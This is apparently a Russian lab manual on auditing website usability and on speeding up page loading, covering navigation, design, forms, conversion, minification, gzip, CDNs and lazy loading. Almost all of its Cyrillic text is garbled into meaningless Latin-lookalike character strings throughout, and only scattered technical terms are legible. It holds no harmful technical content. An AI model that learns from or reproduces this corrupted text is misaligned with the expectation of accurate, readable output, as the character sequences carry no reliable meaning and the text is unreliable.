0 TyOIMpPOBAHHBIN KOHTEHT.
OreHKy 103a0WIIUTH TPOBOAMTCS TIO IIECTH OCHOBHBIM TPYIAM XapaKTEPUCTHK, YTOOBI TOIYYUTH
MOJIHBIM, BCECTOPOHHUN aHANIM3 M HUYETrO He YMycTUTh. [IOBEpXHOCTHO MO 3TUM TpyMIaM CBOM CalT
MOJKET CaMOCTOSITETILHO OIICHHTH 000N Bianenen. [JTaBHOE B CaMOCTOSITEIIEHOM OIlEHKE — OBITh
MaKCHMaJIbHO HEMpPeaB3sAThIM. PaccMoTpiM 0a30BbIe COCTABIISIONINE ayAUTa F03a0UINTH MoApoOHee.
1. Oyenxa I nasnoti cmpanuyul.
AynuT 103a0WINTH HaYMHAeM C OLEHKU [ MaBHOW cTpaHHIB. 3adada OLEHKH — MOHSATh, HACKOJIBKO OHA
3¢ (eKTUBHA B KQ4eCTBE MOCAIOYHON CTPAHHUIIBI.
lllanka cauma
Jns Hayana CMOTpUM, MOHSATHA JIM TEMaTWKa, €CJIM 3aXOJHUIlb Ha callT BrepBbie? XOpOIIo, KOTraa
TeMaTHKa MepeiaHa MpsAMO B IIanke caiiTa (Ha3BaHue, JIOTOTHUII, CJIOTaH U T.I.) U CTAHOBUTCS MOHSTHA B
nepsble 10 cexyH/.
Ilepswiii o5xpan
Hanee olileHMBaeM BeCh MEPBBIN SKpaH (Ty YacTh CTPAHUIIbI, KOTOPYIO BUIUT MOCETUTENh, TIOKAa HE HAaYasl
NpOKpyunBaTh BHU3). Ecnu caiiT mponmaer ToBap/ycinyry, TO OHa JOJKHA MPHUCYTCTBOBATH HA MEPBOM
9KpaHe. 3ajava MepBoro KpaHa — MoKa3aTh, YeM MOXKET OBITh MOJIE3EH CalT moceTuTento. s nepBoro
HKpaHa Tak)Ke BaKHO HAIMYUE OCHOBHOM KOHTaKTHOW MH(OpPMAIIUK HA BUAHOM MECTE.
Heobxomumo o0paTuTh BHUMaHWE Ha HAIMYUE TIEPUOJMYECKH OOHOBIseMOW HWH(OpMAIMU, HAIpPUMED,
CBEXKHX TMPOEKTOB, cTarel wiu HoBocTeil. Takas wHOpMAIMs MOKa)XeT MOCETUTENSM, YTO Ball CailT
(OKUBY.
Iloosan
CnycTUBIINCh B CaMblii HM3 CTpaHMIIbI, OLIEHWTE NojBaj caifta. JKemarenbHo, 4ToOBI B mOJBaje ObUIN
CCBIJIKM Ha OCHOBHBIE pa3/ielibl caiiTa 1 Oblila 3aMeTHa ohopMIIeHHAs] KOHTaKTHAs UH(OpMAIIUSL.
2. Oyenka uHmepaKmueHOCMU.
WHTepakKTUBHOCTh COCTaBISIOT BCE AJIEMEHTHI, C KOTOPHIMH MOXKET B3aUMOJICHCTBOBATH MOCETHUTEh
caiita. 3aj1aua OIEHKH UHTEPAKTUBHOCTH — MOHAThH, HACKOJIBKO HAIJISIIHO MPEJCTaBICHBl MHTEPAKTUBHBIE
AIIEMEHTHI U HACKOJIbKO KOPPEKTHO OHU PabOTaIoT.
Ccoliku
[TocmoTpuTte Ha oopMIIEHHE CCHUIOK Ha BallleM CcaiTe: MOHSATHO JU 0e3 HaBeJeHHUs Kypcopa, 4YTO Ha HHUX
MOXXHO Haxarb? JKemaTenmbHO, 4YTOOBI BCE CCHUIKH ObUIM OGOPMIICHBI B OJHOM CTHJIE W OBLIH
MOTYEPKHYTHI, a Ha3BaHWS HAYMHAIUCH CO 3HAYUMBIX CJIOB, KOTOpBIE HIIET MoceTtutenb. [loxoaure mo
STUM CCBUIKaM W TPOBEpPbTE, HET JIM BEAYIIMX B HHUKYyJa (HA IMyCTYIO CTpaHUIy WiKM Ha crpanuiy 404
OIITNOKM).
IIpocmomp xapmumnox
Jlanee mpoBepbTe KapTUHKH: MOHITHO JIM, YTO HEKOTOPbIE M3 HUX MOXHO mpubnui3uth? [lpu Hamuuum
dotoranepen IS MPOCMOTPA KAPTUHOK €€ BUJ U KHOMKU YIPABIICHUS JTOJKHBI OBITH OJJUHAKOBBIMU HA
BCEM caiiTe.
3. Oyenxa  Hasueayuu.
I'nobanvnasn nasueayus
[TpoBepbTe, YTOOBI B TI00aNBHON HAaBUTAIMU (Yalle BCEro STO BEPXHEE MEHIO B IIANKe caiita) ObLI
OTpa)keH BEPXHUI ypOBEHb MEpapXuM caiiTa, a TakKe UYTO HUKAaKOW paslien He ymyileH. B rmobanbHOMN
HABUTAIMHA O00s3aTeIHHO JOJDKHBI MPHUCYTCTBOBATH CCHUTKM Ha CIYyXeOHbIE pas3zienbl, Hampumep: «O
kommnanum», «Konrakten», «[lomomey, «Kaprta caiitay. ['nobanpHas HaBuranus A0HKHA MPUCYTCTBOBATH
Ha KaXJOW CTpaHHUIIe cailTa, JOKHA OBITh BU3YaJbHO BBIJICJIICHA, U COCTAB €€ CCHUIOK JIOJDKEH OBbITh
MOCTOSTHHBIM. Ba)kHO, 4TOOBI B Tr100aJbHOM HAaBHTallMM M BO BCEX OOKOBBIX MEHIO (€Cli OHHU €CTb)
OTpaxkajicsi akTUBHBIN pa3/iel, B KOTOPOM HaXOJUTCS TOCETUTEb.
3azonosxku
BBepxy kakmol CTpaHUIIbI caiiTa JOHKEH OBITh 3aMETHBIM 3arojIOBOK. DTO Ba)XXHO Kak JJIS 103a0MIIUTH,
Tak u ¢ Touku 3peHust SEO.
Ilouck no catimy
Eme pexkoMeHayeM NpoBEepUTh MOUCK MO CalTy: OKHO TMOMCKA JOJDKHO OBITH JIOCTYIMHO Ha JHOOOMH
CTpaHMIIE, a MOUCK JOJKEH BbIJJaBaTh KAYECTBEHHBIE PE3YJIbTaThl JaKe MPU 3alPOCE U3 HECKOJIBKHUX CIIOB
i ¢ opdorpaduueckoi ONMOKOM.
4. Oyenxa ouzaiina.



JluzaiiH — CyIIHOCTh O4YeHb CyOBEKTHBHAs, OLICHUTh €ro OOBEKTHBHO ObIBaeT ciiokHee Bcero. Ho ecth
HECKOJIBKO OOIIMX XapaKTePHCTUK, OLEHUTh KOTOPbIe OyJIET JOCTATOYHO JIETKO.
L{gem ocHoBHbIX 21eMEHMO8
[Tpexie Bcero OIEHUTE HCIONb3yeMble OCHOBHBIC IBeTa. COOTBETCTBYIOT JIM OHHM TeMaTuke caifta? Y
Ka)XJOro IIBeTa €CTh CBOM acCOIMATHBHBIA psiji, HApUMEp: 3€JEHBIH acCOLMHUPYETCS CO 3I0POBBEM,
KpacoTol, TapMOHHUEH, W BpPSAI JH €ro CTOMT HCIIOJIb30BaTh Ha caiiTe MOXOPOHHOTO areHTCTBAa, pa3Be
TOJIBKO YTOOBI «BBIJCIUTHCS» HA (DOHE KOHKYPEHTOB.
CaumKoM MHOTO IIBETOB Ha cCaiiTe He HYXKHO, JJOCTATOYHO 2 OCHOBHBIX: IIBET ()OHA M IIBET OCHOBHBIX
aeMeHTOB. Vcronb30BaHWE HECKOJBKUX IIBETOB JIOMYCKAETCs, €CIU BBl XOTHUTE, HAllpUMep, MOKa3aTh
Pa3HHILy MEXIY BallUMH TapudaMu WU yCIIyraMH, TO €CTh CAeNaTh IBETOBOE KOJUPOBAHNUE.
Konmpacm
B nuzaitne ciemyer m3beraTh HEIOCTATOYHOTO KOHTpacTa. Hampumep, korja 1BeT 00beKTa OTIMYAETCS
OT 1IBETOB (hOHA JIUIIH OTTEHKOM, HO HE HACBHIIIEHHOCTHIO WK SPKOCTHIO, OOBEKT CTAHOBUTCS TPYIHO
BOCTIpHHUMATh. [IpoBephTe, KOHTpPACTHBI JIM OJJIEMEHTH Ha BamieM caite. [lng 3TOro MOoXHO
UCIIOJIb30BaTh CHEIMAIbHbIE OHJIAWH-CEPBUCHI.
DJIEMEHTHI Ha CTPAHUIIC JOJKHBI ObITh BEIPOBHEHBI OTHOCHTEIBHO APYT JAPYyra U «Io ceTkey». [Ipuuem Ha
TUTIOBBIX CTPAHMIIAX KOMIIOHOBKA 3JIEMEHTOB JOJDKHA OBITh TakKe THUIIOBOM, a HE pa3iIuyaTbCsl OT
CTpaHHMIIBI K CTpaHHUIle. BrIpaBHUBaHUE 3JEMEHTOB BaXXHO B (hopMax, Tak Kak 0e3 HEero rias «CkadeT» U
3aIOJIHATH TOJISI CTAHOBUTCS CIIOXKHEE.
Busyanvuvie o6paswei
Ecnu Ha caiite ecTh Bu3yalbHble 00pa3bl (MKOHKHM, MHUHHATIOPHI, W300pa)KeHHWs U T. I.), OLIEHUTE,
HACKOJIbKO OHHM COOTBETCTBYIOT KOHTEKCTY, JIOMOJHSIOT JIM ero. HemnpaBuibHOE HCIOIB30BaHHE
BU3YaJIbHBIX 00Pa30B MOXKET 3aIlyTaTh MOCETUTEIIS.
Ha crpanumax momkHa OBITH YeTKash MEpapXusi BH3YAIbHBIX 00pa3oB — BaXHOE HYXKHO BHU3YaJbHO
BBIJICTISITh, YTOOBI OHO cpa3y Momajaio B mose 3peHus. OueHuTe, cpasy JId Bbl BUJUTE CaMOe TJIaBHOE Ha
BCEX CTPAHMIAX WIIU T/Ie-TO MPHUXOTUTCS JOJTO HCKATh.
5. Oyenka xonmenma.
Kak mpaBuio, KOHTEHT — 3TO TO, Pagdl YEro Co3Jgaercs cailT. 3ajada OIEHKH KOHTEHTa — MPOBEPHTH,
HACKOJIBKO XOPOIIIO0 BOCIPUHUMAETCS Balll KOHTEHT M HACKOJIBLKO OH MHTEPECEH.
Texcmul
TekcThl HYXHO MPOBEPATh KaK C TOUYKH 3PEHUS BU3YAIbHOTO O(OPMIICHHUS, TaK M C TOYKU 3PEHHS
COJIEPKAIIETOCS B HUX CMBICIIA.
[Ipu mpoBepke odopMIEHHS CMOTPUTE, XOPOIIO JIU TEKCT KOHTpacTtupyeT ¢ poHom. B oOmiem cioyuae
Hy)HO 80 % kouTpacTa. [IpoBepuTh CallT MOXXHO C MOMOIIBIO OHJIAWH-CEPBUCOB, HO OOBIYHO TLIOXOU
KOHTPAacT BUIHO U 0e3 HUX. TeKCThI TOJDKHBI OBITH 0OpMIIeHBI MpU(TOM O€3 3aceduek, pasmep mpudTa
ot 14px. Ha caiite nyume He ucnonb3oBath Oojee 2 mpudTOB: OANUH I OCHOBHOTO TEKCTa M €Ille OJUH
JUIS 3aTOJIOBKOB CTPaHUII.
Bce TekcThl Ha caiiTe cieayeT MpoBEpUTh HA YHUKAIBHOCTD C TIOMOIIBIO CIIEIUAIBHBIX OHJIAH- CEPBUCOB.
HeynukanbHble TEKCTHI HY)KHO TEpeNucaTh, TaK KaK OHH TUIOXO OTpaKaloTcs Ha MO3ULUAX caifta. la u
KITUEHTY HEMPUATHO YUTATh TEKCTHI, KOTOPHIE OH yKE TJIe-TO BUJICIL.
Ha caiite He n0oMKHO OBITH HEOOOCHOBAHHO JIMHHBIX TEKCTOB. Ecin oHM ecTh M 0e3 HUX HHUKyJa (Kakue-
n0o0 TpaBWja MOJB30BaHMUSA BallMMHU YCIyraMH), TO OHH JIOJDKHBI OBITh O(OPMIICHBI C BBIJCICHHEM
ab3ar1ieB, MOA3aroJI0BKOB, YTOOBI MPOIIE MPOYNUTHIBAIUCE.
[TepeunTaiiTe XOTs OBI TJIaBHBIC TEKCTHI, MPOBEPHTE MX HA HAIMYUE T'PAMMATHYCCKHX, JIEKCHUYCCKUX,
MYHKTYallMOHHBIX, PEUEBBIX U MPOYHX OLIUOOK.
Kaprunku
Bce xapTuHKHM Ha caiiTe JOHKHBI OBITH XOPOIIEr0 KayecTBa, OCOOCHHO €CNIM Y Bac MHTEPHET- MarasuH.
[TocmoTpuTe, HE MOPTUTCA JIM (POTO BAIIUX TOBAPOB MPU MPUOIMIKEHUH, MOXKHO JIH PAaCCMOTPETh JIETaJIH,
ecTb 1 oTorpaduu ToBapa B pa3HbIX paKypcax
YHUKaTBbHOCTh KaPTHHOK TOXKE CTOUT IMPOBEPUTh. MOXKHO TOCMOTPETh, KaKHWe KAapTUHKH Ha CaiTe y
BalllNX KOHKYpeHTOB. Jlyduiie He OpaTh KapTHUHKH ¢ OecIIaTHBIX (JOTOCTOKOB, MOTOMY YTO OHHU BE3[IE: Ha
Omnbopaax, Ha ymakoBKax, Ha cairtax. [ImaTHeIMH (DOTOCTOKAMU TOIB3YETCSI TOPA3I0 MEHbIIE JIOJCH, a
BBIOOD oTorpaduii orpomen. Camoe sydiiee pemieHue — aenats pororpaduu CBOMX COTPYIHUKOB, CBOUX
TOBAapoOB. DTO caMblii JOPOrOi BapHaHT, HO OH JaeT TapaHTUIO0 YHHKAJIbHOCTH Bammx ¢ororpaduii u
aBTOMATHUYECKH TOBBIIIAET YPOBEHB JIOBEPHsl MOCETUTENEH K cailTy
6. Oyenka popm u Ouano2os.



3amaya oneHkd GopM M JUANOTOB — MPOBEPHUTH KOPPEKTHOCTH paboThl Bcex (opm Ha caifte, HailTu
omuOKu B paboTte, HEY100CTBA TIPH 3AITOTHCHUH.
[TonpoOyiiTe 3amonHUTH KaxAyto u3 (GopMm Ha cBoeM caifte. OrieHHuTe, BCE JU IMOJISI BaM MOHATHBI, HET
JU JTUITHAX 00s3aTENIbHBIX ToJIeH (HampuMep, o0si3aTenbHoe moie email B hopme aiis 3akaza OOpaTHOTO
3BOHKA), MH(QOPMATHBHBI JIU COOOIIEHUS 00 ommMOKax, cpabaThiBaeT U KHOIKA OTMPABKH JaHHBIX C
(bopMBI, MPUXOIAT JIM COOOIIEHUS ¢ (HOpM K BaM Ha MOYTY (MIJIM MOTIAAAI0T B criam?).
[IpoBepka KOppeKTHOCTH BBOAAa MHGOpManuu B (QOpPMBI JODKHA OCYIIECTBIATHCS 0€3 mepe3arpy3ku
CcTpaHuIlbl. B ciywae ecnm mepesarpy3ka Bce-Takd TOHAJO00WIACh, TO BBl HE JOJDKHBI BBOJHUTH
uHGOpPMAIMIO BTOPOH pa3 — JIaHHBIE TOJDKHBI COXPAaHUTHCSA. B MHOrocTpaHMUHBIX opMax J0JKHA OBITH
BO3MOXXHOCTh BEPHYTHCS C COXPAaHCHHEM JITAHHBIX.

7. Oyenka KoHsepcuu.

UroObl MOHMMATH, HACKOJBbKO 3((dekTuBeH cailT m Kakas y caliTa KOHBEpCHs, He 000HTHCH Oe3
cueTynka BeO-aHANMUTUKU. [locie ycTaHOBKM cyueTUYHMKAa HEOOXOAMMO O0S3aTeNbHO HACTPOUTH LIETH U
MIEPUOMYECKU OICHUBATh KOHBEPCHUIO U OCHOBHBIE

nokasartenu caita. MHorue Biazenbilbl 00 3TOM 3a0bIBalOT. B mpoliecce KOMIUIEKCHOTO ayJauTa OYeHb
MMOMOTAIOT JAaHHBIE CUCTEM BE0-aHATUTHKU: HU UX OCHOBE MOXHO CTPOUTH THTIOTE3BI 0 poOJieMax caiita,
B TOM YHCJIe TTpodsieMax ¢ F03a0UITUTH.
B cocraB xommuiekcHoro ayauta BxoauT: SEO-ayaut, ayauT 103a0UiInTH, aHAIN3 BEO-aHATUTHKU (B TOM
quclie KOHBEPCHM), MpOBEepKa M HacTpoika meneil. [IpoBecTH MOBEpXHOCTHBIA ayAUT MOXKET J000i
BIajiener] caita. B roza0wintu-aynuTte OrneHMBArOTCS: [JlaBHas CTpaHUIA, WHTCPAKTUBHBIC AJICMEHTHI,
HaBUTAIMS, TU3aliH, KOHTEHT, ()OPMBI U JHATIOTH.

3aoanue Ne 1. [IpoBecTu ayIuT 3aIaHHOTO CaiTa.

3aoanue Ne 2. Opopmute OTUET.

IMPAKTUYECKAS PABOTA Ne 2. HCCJIEJJOBAHHUE CIIOCOBOB YCKOPEHU S
3ATPY3KH CAMTOB

IeJsb: U3yyeHne cnoco60B yCKOPEHNUs 3arpy3Ku CaliTOB.
Teopemuueckue 60npocwl
CriocoObl yCKOpeHHMs 3arpy3K1 CalTOB.
Bpems 3arpy3ku caiita — OAMH M3 BOKHEWINUX IOKa3aTeled, BIUSAIOIIMKM Ha IOBEACHHE IOJIb30BaTEICH
cauTa.
CHmKeHue CKOPOCTH 3arpy3Ky CTpaHHIIBI Ha | CeKyHy BieueT 3a co00ii:
® YMEHBIIICHHE Yrcia IpocMoTpoB Ha 11 %;
® CHIDKEHHE I0Ka3aTels yI0BIETBOPEHHOCTH MOJIb30BarTess Ha 16 %;
® yMEHBIIEHUE KOHBEepCcHH 110 6 %o.
[Tapa nMUIIHUX CEKyHJ BPEMEHHM 3arpy3kH caiiTa yMEHbBIIAIOT IIAHChl 3aWHTEPECOBATh MOCETHTENEH U
OCYIIECTBUTD MTPOJAXKH.
KISSmetrics mpoBena wuccieroBaHMe Ha TEMy TOro, Kak CKOPOCTb 3arpy3KH caiiTa CKa3blBaeTcs Ha
MIOBE/ICHUH T10JIb30BaTENIEN U MOKYTIaTENeH:
e 47 % nonb3oBaTeneil 0KUAAIOT, YTO CTPAHUIA OTKPOETCS MEHBIIE UYeM 3a 2 CEKyHbI;
e 40 % monp30BaTesCH 3aKPHIBAIOT CANT, €CIIM OH 3arpyKaeTcs AOJbIIE 3 CeKYH/T;
e 79 % mnokymnateneil, KOTOpble OCTAINUCh HEIOBOJBHBIMHU YyA0OCTBOM CaiiTa, CKOpee BCEro, He
OyAyT IOKYIIaTh Yepe3 HEro B JaJIbHEHIIIEM;
e 44 9% UWHTEpHET-NOKyIaTelel paccKakyT CBOMM 3HAaKOMBIM O caiTax, KOTOpble HX He
YAOBJIETBOPHIIH.
VYckopeHHast 3arpy3ka caiTa 0COOCHHO BaKHa JIJISl TOJIb30BATENIEH, 3aXOAIIMX Ha CalT ¢ MOOMIIBHBIX
YCTPOMCTB. A Tak Kak ceddac J10Jsi MOOWJIBHOTO TpaduKa MOCTOSHHO pacTeT, TO Ha YCKOPEHHE Ha
MOOWMIIBHOM HY’KHO CJIeJIaTh OCOOBI aKICHT.
PaccMmoTpuM criocoObl YCKOpEHUs 3arpy3KH caifra.
1. Coxparuts uncino HTTP 3ampocos.
CornacHo uccienoBaHUsAIM KoMmaHuu Yahoo, OoJbllas 4acTh BPEMEHHU IPH 3arpy3Ke CTpPaHMIIBI
TpaTUTCA Ha 3arpy3Ky M300pakeHui, (paiyioB CTHUIIEH U CKPUITOB.
Jns 3arpy3ku Kakzoro Takoro daitna cosmaercs otaenbHbii HTTP 3ampoc. Uem Oosblie Takux
3arpocoB, TeM 0OJIbIIIe BpEMEHHU MPOXOAUT JJO MOMEHTA MOJIHOM 3arpy3Ku CTPaHUIIBL.
2. O6weauuuTh 1 MuHHpUIUpOoBaTh CSS 1 JS-aitnsr.



Camplil mpocToii cnoco® COKpaTUTh KOJIMYECTBO 3allPOCOB — OOBEAMHHUTH U MUHU(DUIIUPOBATH (CHKATh)
HTML, CSS u JavaScript ¢aitnel. s TOro OTKpbIBaeM JIF000H TEKCTOBBIN PEJAKTOP, BCTABIISIEM B HETO
COJIEP’)KUMOE BCEX HCMOJIb3yeMbIX css-(paillioB B TOM NOPSAKE, B KOTOPOM OHHU TMOJKIIOYAIOTCS B
mrabiione. [lamee, BOCHONB30BABIIUCH JIOOBIM cepBUcoM MuHH(puKanuu (Hampumep, CSSminifier),
ckrMaeM Koj. B pesynbTaTe y Hac cokpamaeTcs 4HMCIO 3ampocoB, a U3 (UHAIBHOTO KOJa YIalSIoTCA
HEe3HAUYMMBbIE JIJISl HHTEPIIPETaTOpa CUMBOJIBI (TIPOOEITBI, TaObI, IEPEHOCH CTPOK H T.IL.).
3. PeanuzoBaTh acMHXpOHHY!O 3arpy3ky CSS u JS.
CSS ¢aiiner 3arpyxarorcs 8 HTML nmocpenctBoM BcTaBku Tera. OqHaKO HE BCE KYCKH KO HACTOJIBKO
KPUTHYHBI, 4YTO HUX CJEIyeT 3arpyxarb cpasy. Hampumep, Ha caliTe eCTb pEIKO HCIOJIb3YyEMbIii
KOMITOHEHT CPaBHEHHUS TOBApPOB. MIMeeT CMBICI MOATPYKaTh CTHIIM M jS-KOJI JUIsi HEr0 HEMOCPEICTBEHHO B
TOT MOMEHT, KOT'/Ia MOJIb30BATENH 3aXOTAT BOCIIOJIb30BATHCSA TAKUM (DYHKIIMOHAIOM.
4. HacTpouTh OTJIOXKEHHYIO 3arpy3Ky javascript-koja.
B cranmaptHOM pexxume javascript ¢aitnel npepsiBatoT napcunr HTML-nokymenta no Tex mop, Mmoka
Bce Takue (ailyiel He OyIyT MOTYYEeHbI U BHITIOJIHEHBI.
Yacto Tpebyercss BCTaBUTh KaKOH-HMOyAb HE 0c000 3HAYMMBIA BHJIDKET COLIMANBHBIX CETeH B MOJBAJ
caiita. [l Hac HEBa)XXHO, MOSBUTCS JIM OH HAa CTPAHULIE CPA3y WM CIIYCTs apy CEKyH.
UroObl peann3oBaTh OTIOKEHHYIO 3arpy3ky, a TouyHee o0O0pabdOTKy Takoro CKpUITa, HEO0OXOIUMO
nponucath arpulyT defer Tery <script>.
5. Yckoputh nosrydenue nepsoix o0aiitoB (TTFB).
TTFP — mnepBbiii 0ailT, MONy4YEeHHBI OT cTpaHMIbl. Bpems mnosydyeHus Takoro OaiiTa — OOUH U3
(bakTOpoM paHKUPOBAHUS CTPAHUIIBI TIOMCKOBUKAMU, TpEOYIOIUil K cebe BHUMaHUSI.
6. CokpaTuTh BpeMsi OTBETa cepBepa
HeobOxomumMo mpoBecTH aHamu3 BCeX 3ampocoB K 0a3e AaHHbIX. HallTu W ucnpaBUTH OMIMOKH.
OnTumMHu3upoBaTh KOJ 3allpocoB K 0a3e JaHHBIX W M30aBUTHCS WIIM IepenucaTh IUIaruHbl, HallMCaHHbIE
MaJIOOTBITHBIMU Pa3pabOTYUKAMHU.
7. Be1OpaTh ONTUMAaNIbHBIE ONLUU XOCTHHIA MOJ] 3aIIPOCHI NT0JIb30BaTENCH.
C pocTom uncia moib3oBaTeneil CKOpOCTh pabOTHI caifta Oy1eT MeaneHHo najaTh. [IoaToMy o4eHb BakHO
IIPABWJIBHO MOJ00PATh TUI U OIMIUU XOCTHHTA.
Jlnst HeOONMBIINX CAaWTOB KOMIAHUI W BU3UTOK TOJIOMICT CaMbIil TPOCTON BUPTYaIbHBIA XOCTUHT (shared
hosting). /lns uHTEepHET-MarazuHoB, noptaioB — VPS/VSD. Jlns caifToB ¢ 0GONBIION MOCEMAEMOCTHIO
HY>KHO CMOTpPETh B CTOPOHY BBIJIEIICHHBIX (u3nueckux cepepoM (Dedicated server).
8. [IpoBecTu aHaM3 CHKATHS CTPAHMUIL.
B mnporokone HTTP, ucmonb3yeMomM B MHUPOBOW MayTHHE, MPEAyCMOTpEHa BO3MOXKHOCTH CXKaTHs
nepeaaBaeMoil WHGOpPMAIMU Ui YKOHOMHM Tpaduka W YBEITHMUYEHHS CKOPOCTH 3arpy3KH JaHHBIX.
BoNbIIMHCTBO COBPEMEHHBIX Opay3epoB MOAEPKUBAET METO ZIp.
[TpoBepuTh, BKIIIOYEH JM y Bac Ha caiiTe gzip, MOKHO, BOCIIOJB30BAaBIIMCH JIFOOBIM TMPEATIOKECHHBIM
MOMCKOBHKOM CEPBUCOM I10 3ampocy “gzip test”.
9. BKITIOUNTH CKATUE CTPAHMII.
He Bcerna Hy)XHO MpHU KaXOM OTKPBITHH CTPAHUIIBI T€HEPUPOBATH THICAYY 3allpOCOB K 0a3e JaHHBIX.
JIOCTaToOYHO COXpaHWTh 3Ty HH(POpPMAIMIO B CTaTUYHOM (ailiec W HACTPOUTh €€ aBTOMATHYECKOE
oOHOBJIeHHE pa3 B roja. Caenarbh 3TH HACTPOWKH MOXKHO JIMOO B HACTPOMKAx MCIOIb3yeMoit Bamu CMS
6o B daitre .htaccess.
11. Cxxatb Bce n300pakeHUsI U BUJICO.
Ecin Ha caiite pacrosaraer 0oJbIIOE KOJWYECTBO M300paKEHWW U BUIEO, UMEET CMBICI CKaThb MX.
Cnenatb 3T0 MOXHO MO0 B JIOOOM TpaduyecKkoM perakTope, MO0 B OHJIAWH-CEpBHCAX, KOTOPHIE B
HMHTEpPHETE B IIOCJIEIHEE BPEMsI CTAHOBUTCS Bce OObIIIE.
12. Ucnonb3oBate CDN.
CDN (umm Content Delivery Network) — 3To cetb moctaBku KoHTeHTa. CaliT pa3Memiaercss Ha cepBepax,
HAXOJSIIMXCS B pa3IMYHBIX MecTaX MHpa. B 3aBUCMMOCTH OT TOro, T/ie HaxXOJUTCS KOHEUHBIH
MOJIb30BaTeNb, MHPOPMALIMIO OH TOJy4aeT C TOTO JIM MHOTO CepBepa — JYYIIErO MO KOMIUIEKCHOMY
MOKA3aTeNt0, B KOTOPOM BaXKHYIO POJIb UTPAET reorpaduueckoe mojJoKeHue.
Hcnonp3oBanue Bo3MoxkHOocTe CDN He CHWIIBHO yJapuT IO KOLIENbKY, HO BHECET BECOMBIN BKIaJ B
KOHEYHYIO Ieb. TeM 0ojiee B paMKax TEXIOAAEP>KKH Mbl IOJPOOHO paccKa)keM, Kak MOJKIIOYUTHCS K
CETH MAaKCHUMAaJIbHO BBITOJHO.
13. Mcnionb3oBaTh 00JIa4yHbIE CEPBUCHI.
JlaHHBIN MTyHKT KacaeTcsl BUICO U JPYTUX OOJBIIUX [0 BECY MaTepHalioB Ha caiiTe. UTOOBI HE 3arpyxaTh
JUIIHUN pa3 Balll cepBep, TAaKUe JOKYMEHTHI XKellaTeIbHO pa3MellaTh B 00IauHbIX CEPBHUCAX.



14. CokpatuTh 9ucio inline-CTHIICH.
Bec crpaHMIlbl Tipu HCIMONIB30BaHUU inline-CTWIICH YBEIHMUYWBACTCS, CKOPOCTh O0pabOTKH Opay3epom
yMmeHbInaercs. [IpaBunbHee UConb30BaTh CSS-KIacChl.
15. Peaim3oBath OTIIOKEHHYIO 3arpy3Ky U300pakeHul, BUCO, iframe 1 KOHTEHTA.
Ecnu Ha cTpanune OonblIOe KOMWYECTBO TSHKEIOBECHBIX 3JIEMEHTOB, TO MMEET CMBICH 3arpykarh HX
HETOCPEACTBEHHO Tepe]l MOMEHTOM WX HCIONb30BaHusA. ClenaTh 3TO HYXHO Il W300paskeHHid, BUIEO,
iframe, a wHOT 1A W U1 TEKCTa (HampuMep, B ciIydyae caifTa OHJIalH-OMOINOTEKH).
16. [IpoBecTu aHaM3 KOJla M COKPATUTD YUCIIO UCTIOIb3YEMBIX IJIATMHOB.
OdeHb YACTO HEONBITHBIE pPa3pa0OTUMKU JUIS peanu3alil OJHOM €IWHCTBEHHOW BCIUIBIBAIOIICH
MOJICKa3KM Ha CaliTe MOATPYKAIOT LIENbIH TUIarvH, UCTIONb3YS OJHY M3 COTEH BO3MOXHOCTEH OMOIMOTEKH,
TO €CTh CTPENSIIOT W3 IMYHIKH MO BOPOObSIM. A ecliu 3TOT IJIarWH HCIOJNIb3YeT Ipyrue OubIuoTexu
(3aBHCHMOCTH), TO Ha CaliTe MOSBISIETCS OTPOMHAsI Kyda HEHCIIONb3yeMoro koja. CTOMT TpOBECTH aHAIHN3
KOJla caiiTa ¥ YMEHBIIUTh YUCIIO PEAKO UCTOIb3yeMbIX TUIaruHOB. HampuMep, BCIUTBIBAIOIIYIO MOJICKA3Ky
MOXKHO peaJM30BaTh, HAIMCaB HECKOJBKO CTPOK Ha 4mcTO Javascript aub0 BOOOIIE peanu3oBaB 3TO
cpeactBamu CSS.
17. YMEHbIIUTH YNCIIO PEIUPEKTOB.
bes penupexToB yacTo He 060HTHCH. Hampumep, eciau y Hac U3MEHUIICS aipec CTPAHUIIBI, IPOMUCHIBACTCS
301 peampexT, 4TOOBI TMOIH30BATEIN CMOTJIH OTKPBITH CTPAHUILy IO CTapO CCHUIKE (B TMOMCKOBHKAX
CCBUIKM OOHOBJSIOTCS He cpa3y). OOHaKO KaXAbIH TaKOH peIUpeKT NPUIUYHO YBEIUYUBACT BpEMs
3arpy3ku crpaHuipl. Ecim 1-2 peampexTa erie MO3BOJMTENBHO, TO OOJbIIee YMCIIO KpallHE HEraTUBHO
CKa3bIBAETCS Ha CKOPOCTH 3arpy3KH.
18. CokpaTHUTh YMCIIO BHEIIHUX CKPUIITOB.
JloGaBnenune kHomku “Ilomenutbes” W T.I. B Pa3iMUYHBIX COICETSX IMOAKIIOYAET BHEIIHUE CKPHUIITHI
Bronrakre, Facebook, Instagram u T.1. DT0 TONOTHUTEIBHBIC 3aPOCHI K pa3HBIM cepBepam. Heobxoaumo
Kak MHMHHMYM pealn30BaTh HUX OTJIOXKEHHYIO 3arpy3ky. OpHako OBIBalOT CHUTyallud, KOT/a 3TO
HEBO3MOXHO.
Hanpumep, MHOTHE HUCHOJB3yI0 BHEIIHHE CKPHUMTHI, KOTOpbIE MOOABISIOT Ha CaWT HOBBIE HIPUDTHI
(manpumep, Google). Hecmotps Ha To uto cam Google npeaynpexnaeT, HACKOJIBKO CHIXKAETCS CKOPOCTh
3arpy3Kd caiiTa, MHOTHE HEOMbITHbIC pPa3paOOTYUKU AO0ABISIOT MIPUPTHI HAOOYM, paad OIHOTO
3aroJIOBKa Ha KaKOW-TO PEJIKO MOCEHIaEMOW CTpPaHMIIE.
[ToaTomy, rAe 3TO BO3MOXKHO, CTapalTech MCHOJIb30BaTh JIOKAbHBIE CKPHUMTHI, @ KOJIMYECTBO BHEIIHUX
COKpaTUTE 10 MUHUMYMa.
19. IIpoBecTu ayauT OBICTPOICHCTBHS MOOMIILHON BEPCUU CaliTa.
C momomipio cepBuca Google PageSpeed Insights M0oXKHO TpoBeCTH OHJIAWH-ayJIUT KakK JECKTOITHOM
BEpPCHUU CaiiTa, TaKk U MOOMIIBHOM.
20. [TocTostHHO CNEUTH 32 CKOPOCTHIO 3arpy3KH caita.
3aoanue Ne 1. IIpoaHann3upoBaTh BpeMsl 3arpy3Ku MPEAJIOKEHHOTO calTa.
3aoanue Ne 2. [TpenoxxuTh U peanu3oBaTh CIIOCOObI YCKOPEHUS 3arpy3KH MPEAI0KEHHOTO CalTa.
3aoanue Ne 3. OpopMHUTB OTHET.

